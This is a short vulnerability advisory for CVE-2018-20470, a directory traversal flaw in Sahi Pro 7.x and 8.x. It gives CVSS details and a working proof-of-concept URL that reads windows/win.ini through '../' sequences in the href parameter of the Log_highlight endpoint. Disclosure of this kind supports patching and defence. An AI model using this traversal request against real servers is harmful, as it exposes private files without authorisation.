Sahi Pro 7.x / 8.x Directory Traversal

2019.06.19

Credit: Goutham Madhwaraj

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2018-20470

CWE: CWE-22

CVSS Base Score: 5/10

Impact Subscore: 2.9/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: None

Availability impact: None

# Exploit Title: Sahi pro ( <= 8.x ) Directory traversal
# Date: 17-06-2019
# Exploit Author: Goutham Madhwaraj ( https://barriersec.com )
# Vendor Homepage: https://sahipro.com/
# Software Link: https://sahipro.com/downloads-archive/
# Version: 7.x , <= 8.x
# Tested on: Windows 10
# CVE : CVE-2018-20470
Description :
An issue was discovered in Tyto Sahi Pro through 7.x.x and 8.0.0. A directory traversal (arbitrary file access) vulnerability exists in the web reports module. This allows an outside attacker to view contents of sensitive files.
POC :
vulnerable URL :
''' replace the ip and port of the remote sahi pro server machine '''
http://<ip>:<port>/_s_/dyn/Log_highlight?href=../../../../windows/win.ini&n=1#selected

See this note in RAW Version

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Sahi Pro 7.x / 8.x Directory Traversal

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